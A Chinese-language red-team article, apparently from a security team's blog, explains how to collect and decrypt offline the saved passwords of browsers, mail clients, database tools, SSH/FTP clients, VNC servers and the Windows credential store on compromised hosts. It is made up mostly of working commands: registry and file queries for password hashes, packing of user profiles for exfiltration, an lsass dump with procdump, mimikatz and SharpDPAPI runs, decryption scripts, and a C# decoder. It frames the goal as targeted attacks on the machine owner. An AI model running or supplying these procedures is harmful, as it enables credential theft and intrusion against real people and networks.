目前随着企业人员安全意识的提高,在真实环境中进行内网横向时大部分情况会遇到防护软件,网上公开的大部分软件密码解密工具,都需要在被攻击者的机器上面运行,在此期间可能会涉及到运行环境、杀软等多种情况,导致解密失败。本文搜集并总结了下内网中比较常见的一些软件的离线解密方法,包括最新版本和旧版本,适用于部分条件较为苛刻的真实环境中。后续可以根据获得的足够多的密码样本来分析该机主的密码设置方式和使用习惯,从而进行针对性的攻击利用。
首先切到指定用户权限下,获取机器id,把assis2.db账密数据库文件拖回本地执行解密
reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY" /v "MachineGuid"
C:\Users\tale\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis
执行解密
360SafeBrowserDecrypt.exe 8efb8f7a-3ad6-4b78-b654-e4a433d76843 assis2.db
打包firedox文件C:\Users\tale\AppDataoaming\Mozilla*.*本地解密运行python firefox_decrypt.py最后进行本地解密,如果对方没有设置管理密码,直接回车即可看到结果注:如直接从webshell或cs上打包,需切到指定用户权限下,关闭firefox进程。然后进行打包完整用户数据库并拖回本地
条件:1.用户明文的密码,用于解密加密密钥(可以利用Masterkey离线导出Chrome浏览器中保存的密码,不需要获得用户的明文口令)2.加密密钥(即主密钥文件),位于%appdata%\Microsoft\Protect下对应sid文件夹下的文件3.数据库文件登录数据即Login Data4.Chrome密码还原工具ChromePass下载地址http://www.nirsoft.net/utils/chromepass.html
加密密钥(即主密钥文件),位于%appdata%\Microsoft\Protect下对应sid文件夹下的文件C:\Users\tale\AppDataoaming\Microsoft\Protect数据库文件登录数据:C:\Users\tale\AppData\Local\Google\Chrome\User Data\Default\Login Data
filezilla 客户端的账密默认都是以base64存的,故解码下即可得到明文
# dir %appdata%\FileZilla
# cd C:\Users\tale\AppData\Roaming\FileZilla
# findstr /c:"<Host>" /c:"<Port>" /c:"<User>" /c:"<Pass" /si *.xml
# echo dGlkZTEyMw== | base64 -d -i
将Account.rec0文件拖回本地,该文件默认存放于Foxmail安装目录下的 Storage目录中注:每个邮箱都对应一个单独的Account.rec0,如果有多个邮箱那就把所有的Account.rec0 文件都拖回来C:\Foxmail 7.2\Storage\[email protected]\Accounts本地加载解密https://securityxploded.com/foxmail-password-decryptor.php
Mozilla Thunderbird(中文俗称“雷鸟”)是从Mozilla Application Suite独立出来的电子邮件客户端。切到指定用户权限下,然后直接把数据目录下Thunderbird 的用户数据完整打包拖回本地里解密即可
# dir %appdata%\Thunderbird\Profiles
# run cmd /c 7z.exe -r -pfxpwd123 a C:\Users\Riter\AppData\Roaming\Thunderbird\Profiles\*.*
# ThunderFox.exe creds /target:"C:\Users\tale\Desktop\1stcbtpv.default-release"
Navicat在内网中遇见的比较多,很多情况下都默认保存了用户密码。在Navicat中保存的所有连接账密,都是直接存到对应注册表项值下的可直接以此来获取各类数据库的连接ip,端口,账号,密码hash,不同的数据库连接信息在注册表中的存放位置稍有不同,以mysql为例:一、mysql数据库连接账密具体存放位置
MySQL
HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\
二、查询当前用户的所有连接记录
# reg query HKEY_CURRENT_USER\Software\PremiumSoft
三、查询Mysql连接账密
# reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers
# reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v host 数据库连接ip
# reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v UserName 数据库用户名
# reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v pwd 密码hash
# reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v Port 据库连接端口
四、 hash本地解密
python3 NavicatCipher.py dec B4931811A172BE7059B8
条件:需mysql5.0版本1、将目标Mysql data目录下的user.frm ,user.MYD ,user.MYI 文件托回来2、本地安装MySQL Server,装完之后立即停掉服务,将拖回来的那三个文件分别丢到 C:\Program Files\MySQL\MySQL Server\data\mysql 目录下进行替换
3、修改Mysql服务配置文件C:\Program Files\MySQL\MySQL Server\my.ini在mysqld配置项下添加如下配置,之后启动 Mysql服务
skip-grant-tables
4、无需密码直接登录mysql执行,即可拿到完整的密码hash
mysql> select user,password,host from mysql.user;
解密hash*A6FC877475CA625B65AD5C01F3C23EBE034B1D0B
PL/SQL Developer,一个用于在Oracle数据库环境中开发软件的集成开发环境,专注于PL/SQL存储程序单元的开发。一、PLSQL Developer默认连接账密保存位置位于当前用户如下路径的user.prefs文件中,账号和密码的加密方式比较简单,只是简单异或
C:\Users\tale\AppData\Roaming\PLSQL Developer\Preferences\<username>\
C:\Program Files\PLSQL Developer\Preferences\<username>\
C:\Program Files (x86)\PLSQL Developer\Preferences\tale\
二、user.prefs文件需关注LogonHistory和CurrentConnections下的内容,此处的每一行都代表一条单独的连接记录实质保存的就是以下内容进行的加密三、将LogonHistoryCurrentConnections下的内容原样粘回本地,在代码中替换,解密即可
using System;
using System.Collections.Generic; using System.IO;
public class Program
{
public static void Main() {
var values = new List<int>(); var ret = string.Empty;
string scrambled = "543498649004974360845304780507850564970477235823608363436450624608495449804532495246743932415040964234454844624006"; for (var i = 0; i < scrambled.Length; i += 4)
{
values.Add(Convert.ToInt32(scrambled.Substring(i, 4))); }
var key = values[0]; values.RemoveAt(0);
for (var i = 0; i < values.Count; i++) {
var val = values[i] - 1000;
var mask = key + (10 * (i + 1));
ret += (char)((val ^ mask) >> 4); }
Console.WriteLine(ret); }
}
Xshell和Xftp中保存的连接账号密码都默认放在了本地的配置文件中加密存放。以Xshell为例,Xftp的解密过程相同一、首先,切到xshell安装用户下,定位文件路径,针对不同版本的产品,连接会话文件的默认存放位置稍有不同4.x以下的版本,基本放在了当前用户数据目录下的NetSarang目录中,
# dir %appdata%
5.x之后的版本,默认放在了当前用户的Documents目录下的NetSarang 目录中
# dir "%userprofile%\Documents\NetSarang\Xshell\Sessions" # dir "%userprofile%\Documents\NetSarang\Xftp\Sessions"
6.x之后的版本,放在了当前用户的Documents目录下,目录改了名叫 "NetSarang Computer"
# dir "%userprofile%\Documents"
# dir "%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions"
# dir "%userprofile%\Documents\NetSarang Computer\6\Xftp\Sessions"
二、 然后批量提取所有会话文件中的连接ip,端口,账号,密码hash,另外还有当前用户名以及当前用户的sid注:5.0以下的版本无需用户名和sid4.x 以下版本
# cd C:\Users\tale\AppData\Roaming\NetSarang\Xshell\Sessions
# type *.xsh | findstr /c:"Host=" /c:"Port=" /c:"Protocol=" /c:"UserName=" /c:"Password="
5.x 版本
# cd C:\Users\tale\Documents\NetSarang\Xshell\Sessions
# type *.xsh | findstr /c:"Host=" /c:"Port=" /c:"Version=" /c:"UserName=" /c:"Password="
6.x 版本
# cd C:\Users\tale\Documents\NetSarang Computer\6\Xshell\Sessions
# type *.xsh | findstr /c:"Host=" /c:"Port=" /c:"Version=" /c:"UserName=" /c:"Password="
三、将获取的信息粘回本地解密4.x 解密c:\Python38\python.exe XShellCryptoHelper.py -d -ver 5.0 yq6eVPz4qERzkwXXX==5.x 解密c:\Python38\python.exe XShellCryptoHelper.py -d -ver 5.1 -user majun -sid S-1-5-21-2822152782-4156995639-893189310-1000 JepcR/nMFLmM8gNFXXX***6.x 解密c:\Python38\python.exe XShellCryptoHelper.py -d -ver 6.0 -user WangJuan -sid S-1-5-21-2637387663-1902877020-2618282464-XXX uX/QNt0PwbZ7rwNFBISFDEoKsXXX*
一、切到指定用户权限下,默认都存放在当前用户数据目录下的Config目录下的Sessions目录中,以.ini命名
# dir %APPDATA%\VanDyke\Config\Sessions
# cd C:\Users\tale\AppData\Roaming\VanDyke\Config\Sessions
二、批量提取所有会话文件中的连接IP、端口、账号及密码hash如下:以8.0版本为例
# findstr /si /c:"Hostname" /c:"\"Username\"=" /c:"\"Password V2\"=" /c:"\"[SSH2] Port\"=" *.ini
三、最后把密码hash粘回本地解密即可8.0版本解密 (不带前面三位 "02:")
c:\Python38\python.exe SecureCRTCipher.py dec -v2 894b1f88420e3d9cfa89a7a06ab18d8e9e3ded949bdfgb1**
该软件连接信息默认全部加密存于注册表内。一、第一种方式,无管理密码的解密,从注册表中读取连接信息和账密hash,测试MobaXterm版本为12.0 ,该版本不会强制为连接设置管理密码然后带上目标机器名和MobaXterm的安装用户进行hash本地解密
c:\Python38\python.exe MobaXtermCipher.py dec -sysh tale -sysu administrator -h 192.168.0.1 -u root +ARTYMdvHihPWokIa5KdDcjfIjb7pV1SFQD***
二、第二种方式,带管理密码的解密此处测试的MobaXterm为20.0,该版本每次连接都会强制你设置管理密码
# reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P
c:\Python38\python.exe MobaXtermCipher.py dec -p admin ehx0N63ueLNPkw==
一、WinSCP账号密码保存位置默认是直接加密保存在注册表中的,当然也不排除部分管理员把它保存在WinSCP.ini配置文件中,实际中如果注册表里确实查不到东西,最好先去桌面看下工具里的选项设置是存到哪里了
二、切到指定用户权限下,查询注册表中保存的连接账密
reg query x64 HKCU\Software\Martin Prikryl\WinSCP 2\Sessions
reg query x64 HKCU\Software\Martin Prikryl\WinSCP 2\Sessions\root@45.32.61.129
三、将上面的 hash 粘回本地解密
# winscppwd.exe root 192.168.159.206 A35C4158201A0C7D2E3333286D656E726D6A64726D6965726E6C6A3D383135327D1C7F68691B58A20B8CEB61AC622D00A585
四、关于配置文件的解密
shell dir %appdata%
# winscppwd.exe WinSCP.ini
切换到指定用户权限下,之后全盘搜".rtsz" 文件,从中提取IP,账号,hash,以最新版Royal TS为例
# cd c:\
# dir /b /s *.rtsz
# type C:\Users\Public\Documents\First.rtsz | findstr /c:"CredentialOmitDomain" /c:"CredentialUsername" /c:"CredentialPassword" /c:"URI"
把 hash 粘回本地解密即可,如果 ".rtsz" 文件加了管理密码,则需要先知道管理密码才能解密
一、UltraVNC Server 解密全盘搜ultravnc.ini配置文件,密码加密保存在内
# dir c:\*vnc.ini /s /b
# type "c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini" | findstr /c:"pass"
二、TightVNC Server 解密TightVNC的账密配置信息存在注册表里内
# reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword
# reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password
# reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort
工具解密:三、 TigerVNC Server解密TigerVNC Server的相关账密信息也存放在注册表中
# reg query HKEY_CURRENT_USER\SOFTWARE\TigerVNC\WinVNC4 /v "password"
四、RealVNC Server解密RealVNC Server的相关账密信息也存放在注册表中,但是需要管理权限才能读取
# reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password\
一、先切到指定用户权限下,执行如下命令查看目标Windows凭据管理器中是否保存有各种系统连接账密
# cmdkey /l
二、查看凭据文件并尝试dump目标系统lsass.exe进程数据,注:某些杀软目前会拦截此操作
# whoami /user
# dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
# procdump64.exe -accepteula -ma lsass.exe c:\users\public\documents\lsass.dmp
三、将Dump的文件托回本地,离线解析获取当前用户的GUID和sha1 hash,后续需要利用该值解密数据
# mimikatz.exe "privilege::debug" "log master.lgos" "sekurlsa::minidump lsass.dmp" "sekurlsa::dpapi" "exit"
四、之后使用SharpDPAPI.exe利用上面的hash进行解密解密保存在目标本地的Rdp连接账密
# SharpDPAPI.exe credentials {a4294d6d-1baa-45fb-a5f3-aaa57e3fc69e}:0d6323ac1fa3da97a7b1914440cbd1dde5386935
对内网渗透中常见的软件密码离线解密进行了总结,由于环境、防护设备等因素实战中也会遇到各种各样的问题,因此将一些解密工作转移到本机进行,从而提高成功率,后续也会结合实战继续对利用方法进行完善补充。
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。